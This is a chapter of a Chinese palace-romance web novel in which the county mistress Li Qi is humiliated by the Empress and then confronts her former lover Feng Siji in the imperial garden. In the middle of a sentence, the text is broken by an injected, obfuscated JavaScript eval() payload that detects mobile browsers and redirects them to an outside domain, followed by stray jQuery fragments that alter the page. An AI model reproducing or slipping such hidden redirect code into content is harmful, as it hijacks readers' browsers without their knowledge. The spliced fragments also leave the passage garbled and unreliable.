4. 长夜(4)

作品:《白与黑月光

    第4章长夜(4)


    天将拂晓,院子里传来唰唰唰的扫雪声。李绮被吵得睡不着,索性睁开了眼。


    从半开的窗缝望出去,远山白雪笼罩在一层雾蓝色的天光下,朦朦胧胧的,有种讳莫如深的静谧。


    今日要把做好的衣裳送去给皇后娘娘,李绮不敢耽误,没贪瞌睡便起了身。


    李绮的县主府六进六出,是董明容还是丽妃的时候送给她的,虽然府邸超过了她封诰应有的大小,但有董明容和梁帝护着,没人敢说她的不是。


    她还专门开了一间屋子来放漂亮衣裳和金银首饰,一个巨大的楠木金丝衣柜占了一面墙的位置,衣柜一打开,里面塞满了不计其数的红衣。


    李绮的心头好一直以来都是红色,因红色有一种说不清道不明的攻击性,会让她有安全感。


    但面见皇后不能太嚣张。


    李绮打开另一个巨大的衣橱,里面清一色的素雅衣裳,朴素大方、清爽舒心。


    不必挑选,她随手拿了一件青白色的绒衣,外罩一件雪色斗篷,衬得白皙的脸愈加素净,犹如冬天里的一片雪花,又冷又素。


    最后,她把那串多宝璎珞戴好,才走出她的金银屋。


    走过数不清多少张的贵木长几,几上摆满金灿灿的妆奁,经日光一照,华光纷散,异彩流光。


    不怪京都城人把她这里称作金银屋。


    这些不计其数的妆奁里到底装了多少华贵稀珍的首饰,想必人人皆心中有数。


    李绮也知道坊间是怎么议论她的,无非便是如今战乱四起、诸国分裂,连云洲都还未收复,云安县主却奢靡成性、朱门臭肉。迟早会遭报应云云。


    但她对这些流言从来不屑一顾,流言是她最不需要花时间去在意的东西。


    她拾掇好自己后,吩咐人把要送进宫的衣裳包得整整齐齐,监督小厮们搬上马车,摇摇晃晃前往宫中。


    马车行至宫门前,李绮撩开车帘,见小厮早已搬来了杌子,她踩着小杌下车。


    刚刚站定,她看见雪街尽头停着另一辆马车,马车朴素无华,绛紫色的帘子旁挂着写有‘冯’字的灯笼。


    放眼朝中,能把马车停在宫门外的冯姓官员,除了梁帝新宠的冯斯疾,不会有别人。


    他这么早就入宫了,是案子有了进展,来找陛下禀报?


    李绮顿时有一种强烈的不安,好像自己就站在悬崖边,而脚下的碎石正簌簌滚落。


    自从离开冯斯疾后,偶尔也会幻想他能回来找她,重归于好,互相陪伴。


    现在他真的回来了,却什么都不一样了。


    “县主,小的们都准备好了。”小厮朝李绮喊了一声。


    李绮收回目光,“走吧。”


    -


    张皇后居住福寿宫,她喜欢热闹,在宫里栽种了许多花花草草,每个季节都有应季的鲜花开放。


    对于伺候的下人,她也都挑选活泼好动的。


    时下腊月,大雪纷飞,年节将至,福寿宫里的宫人们雀跃欢喜。


    李绮还未进门,便听见满院子回荡的欢声笑语。


    她一踏入宫门,福寿宫中的欢声笑语戛然而止。


    只见排成老鹰抓小鸡的七八个宫女太监静若鹌鹑,被点了穴一般,正呆呆地看着她。


    他们的脸色青一阵白一阵,交织着某种不能言语的恐惧。


    李绮冷着脸道:“还不行礼?”


    他们才猛地反应过来,慌里慌张地行礼,还不等李绮说什么,便一哄而散。


    每个人都躲到暗处,露出一双或厌恶或讥嘲的眼睛打量她。


    是对待某种瘟神的态度。


    李绮知道的,京都城内,除了梁帝和张皇后,人人都怕她,说她是害人的奢靡妖精。


    她对这一切早已习惯,习惯到视若无睹,没有半分怯馁,挺直了腰板往前走。


    有个素衣姑姑从拱廊下走出来,对李绮行礼后道:“云安县主是来送衣裳的吧?您随老奴过来。”


    李绮带着小厮们跟在姑姑身后。


    姑姑姓王,李绮不清楚她的全名,只知道她在张皇后身边颇得脸面,福寿宫上下办事做人,都要看她的眼色。


    李绮跟在王姑姑身后推门而入,一进门,就听见一声粗嘎的叫唤:“贱人!凶手!”


    李绮循声看去,见一只黄绿鹦鹉在笼子里兴奋地上蹿下跳。


    张皇后拿了一根梅花枝逗弄它,嘬嘬道:“她是陛下亲封的县主,你这么胡说八道,就不怕鸟头落地?”


    李绮自然清楚,需得主人日日调教,鹦鹉才有这么机灵的反应。一看见她,就能条件反射般叫出那些不堪入耳的话。


    她全当没有听见,规规矩矩地对张皇后行礼。


    被张皇后叫平身后,才悄眼去打量她。


    她梳着华丽的飞天凤髻,头上戴的金珠攒翠凤冠在日光下流转出逼人的华光。肩上的蜀锦凤帔上,金线绣制了九凤逐花的繁复图案,一针一线绣得细密,流光溢彩,贵不可言。


    她高傲地扬起下颔,流苏耳环随之轻轻碰撞,发出脆脆的声响。


    一双冷俏精致的凤目微眯,在扫向李绮的瞬间,除了母仪天下的不怒自威,更有一丝审视蝼蚁的漠然。


    李绮视若无睹,轻轻流转目光,看向她身侧的宫女。


    那位宫女在她身侧,站得笔直如松,探出的一只胳膊上挂着鹦鹉笼子。


    宫女的胳膊极隐晦地发着抖,额角也沁出了薄薄一层汗水,想必她保持这个姿势已经很久,久到有些受不了了。


    可身份低微,她不敢多言。


    蓦地,张皇后突然看了过来,李绮第一时间发觉,立即垂首屏息,说:“娘娘,成衣都制好了。


    “其中多了一件雪青色的长袍,是给陛下才封的冯案使的。陛下如今有重用需要他,奴就自作主张,也为他制了一套。不过他并无正经官职,所以奴没用紫色或红色,而是人人可穿的雪青。”


    皇后转过头,继续逗弄笼中鹦鹉,声儿慵懒:“你这绣样针脚不好,可见并未用心。本宫要罚你。”


    李绮低着头辩驳:“娘娘,您还未看成衣,怎知奴的花样针脚有错?”


    皇后听及此,勾起一丝冷笑:“本宫不需看,说你有错,就是有错。如今丽妃死了,你还指望谁为你说话?陛下么?”


    李绮忙说:“奴不敢。”


    皇后这才道:“本宫想去御花园赏梅,你就去那儿扫雪去吧,要扫得一点儿雪都看不见才算完。”


    争下去只会让皇后更加恼火,李绮不再多言。


    以前丽妃还在的时候,独宠六宫,张皇后的嫉恨便如排山倒海般,全部倾向丽妃一个人。


    丽妃又与李绮交情甚好,皇后恨屋及乌,也跟着讨厌李绮。


    一直以来,李绮小心谨慎,想着等丽妃死后,可以落个清净,可是梁帝起了把李绮纳入后宫的心思,甚至已经把消息传遍六宫。


    故此种种,张皇后对李绮的厌恶更深更浓,但凡有对付她的机会,绝不放过。


    她甚至命令,李绮在她面前,只能自称‘奴’。


    -


    李绮拿着扫帚,刚走进御花园,看见池塘边上立着一道身影。


    他一动不动,也没发觉她的到来,不知道他在想什么,或是在看什么。


    但那片池塘因为季节结了一层冰,是没有鱼给他看的。


    他穿白衣,戴璞帽,负手而立池塘边,劲风吹得他两袖猎猎作响,鬓边青丝扬在半空。


    李绮忍不住在心里一笔一画描摹他的背影,希望能将这无声枯燥却对她来说是难得的一幕深深刻画在心底,以用来余生时不时的回想、慰藉。


    静止的画面被突如其来的惊呼给打破:“是云安县主,快走快走,听说她是会害人性命的妖精,可别被她惹上了!”


    闻声,李绮怔了一下,才发现不远处的灌木丛里,有两名小宫女在剪枝。


    另一个宫女道:“不能吧?有这么严重?”


    “新来的你不知道,她就是披着人皮的妖怪,害人性命,吃人血骨!有人在西郊野林专门建立了一座寺庙,是给百姓们上香,好求神仙杀掉她的庙!”


    那新来的宫女惊叹:“竟有这等事?!”


    “我给你说,刑部何大人家的长子你知道吧?他去年不是突然残疾,只能坐轮椅吗,那是因为……嘘,快走快走,她看过来了!”


    两名宫女提着剪刀匆匆逃离此地,直到脚步声远


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775842|174720||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去彻底消失后,李绮才转过目光,却见冯斯疾不知何时已经转过身来,冷淡的眼光轻飘飘落在她身上。


    目光难道不该是轻巧飘渺的吗?为何会觉得他的目光有千万斤,重重地压在她身上,让她透不过气。


    她不自在地捏紧了扫帚,“冯案使。”


    “县主。”


    冯斯疾一边轻声唤她,一边怀抱着一卷竹简,踱步向她走来,距离越近,她心跳越厉害,咚咚咚地清晰可闻。


    等到了面前,冯斯疾抬起手,用卷成筒的竹简抬起她的脸。


    他眯着眼端详她,那种极具穿透力的目光让李绮倍感压迫,好像能将她从头到尾盯出窟窿来,然后她所有的秘密会从那些窟窿里流出、倾倒、明摆着全部给他。


    她和被剥光了站在他面前没有区别,与他深静冷漠的眼睛对视许久,也看不出他在想什么。


    他一直都是这样,神色冷淡或者平静,眼睛幽深或者无波,无论什么时候,都绝不会向外透露他哪怕只是一毫末的真情实绪。


    冯斯疾一直沉默,只看着她。


    看她在轻轻发抖的粉唇,她努力想要冷静却出现裂缝的神色,还有她眼睛里倒映出的冷漠的自己。


    她与三年前一般,面白如雪,唇红齿白,两只形似桃花的眼睛就算看石头也深情。


    样子与他记忆中的吻合,可眉宇间暗藏的权势感让他陌生。


    他扫一眼她不知何故又红又肿的手指,再看她拿着扫帚的架势,猜到她要做什么,讥嘲一声:“县主不是说离开我会过得更好吗,怎的又落魄至此?”


    最不愿意回想的记忆深处被他勾起,李绮握住扫柄的手轻轻颤抖。


    黔州一遇,失去故乡的她与被贬的冯斯疾相互扶持,彼此相爱。


    但她执念于那位带走董明容的贵人,也执念收复云洲,她誓要上京都,只能将是牵挂、却也是累赘的冯斯疾放弃。


    抵住下巴的竹简传来丝丝凉意,李绮别过头错开,“冯案使提起过往,会让我以为您还忘不了我。”


    冯斯疾声音森寒:“县主刻在骨子里的坏、令人发指的心机,的确让人难以忘怀。但我不明白的是你怎么会有胆子,再出现在我面前?”


    李绮道:“若非陛下请冯案使查丽妃娘娘一案,我们也不会再遇。不然,我其实很不想见到冯案使你。”


    冯斯疾望着她不言语,她那张嘴,还在不知好歹地一开一合:


    “毕竟冯案使好骗、善欺还听话,当初在黔州俘获你,实在易如反掌,让我倍感无趣。俘获之后你的付出、情谊虽然是万里挑一的珍重,却让我觉得一文不值,因为你的真心竟然这么容易就随意交付了。”


    她突然侧头过来,盯着他的眼睛:“你真是我勾引过的所有男人中,最大的败笔。”


    只听咔嚓一声,冯斯疾手里的竹简被他用力捏碎,裂出的竹锥深深扎进他的皮肉,剧烈的痛楚从掌心密密麻麻传到肺腑,呼吸变得更加艰难。


    他还庆幸今日穿了宽衣,琵琶广袖做了遮掩,没被李绮亲眼看见底下的惨状,可那碎裂的声音分明清晰可闻,她一定也听见了。


    他很想要反驳她,可是许多话到了嘴边,又都艰涩地吞了回去。


    他不忍心把刀刃扎向她,无论是语言上的还是旁的什么,可她怎么就这么狠,连说话都不留情面?


    落针可闻的静默好半晌,冯斯疾才道:“我终于明白,京都为什么所有人都讨厌你,那用来供人们求神佛除掉你的寺庙,果然建得不浪费。


    “你凭借一张脸和拿捏人心的本事,尽情玩弄旁人真心,兴许梁帝还被你蒙在鼓里?他知道你是这样的人吗,若是他知道,你这立妃的事可还有指望?”


    李绮无所畏惧的模样:“有没有指望,冯案使亲自去问问不就知道了?”


    冯斯疾欲回话,远处响起一阵仓促的脚步声,他顿了片刻,往后退开三步。李绮现是梁帝指定了要的人,他不能与她走这么近。


    脚步声由远及近,枯树底下现出一道人影,正是梁帝身边的大太监李恪,他对李绮和冯斯疾屈膝一礼,对冯斯疾道:


    “陛下传冯案使呢,您久等了,快随奴婢去见陛下。”


    “有劳公公带路。”